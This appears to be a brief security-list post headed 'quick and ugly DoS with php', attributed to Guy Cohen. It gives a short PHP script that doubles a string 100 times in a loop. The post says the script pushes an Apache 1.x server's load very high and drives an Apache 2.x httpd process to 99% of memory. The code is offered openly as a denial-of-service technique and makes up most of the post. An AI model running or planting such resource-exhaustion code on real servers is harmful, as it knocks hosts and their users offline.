quick and ugly DoS with php

[rcs () rshell org (Guy Cohen)]

the following code will make a system running apache 1.x load avarage
very high in seconds. On a system running apache 2.x the poor httpd
process with take 99% of your memory.

[root@noname apache2]# cat htdocs/test.php
<?
$counter=0;
$string="Hello";
while($counter<100)
{$string=$string.$string;
$counter++;
}
?>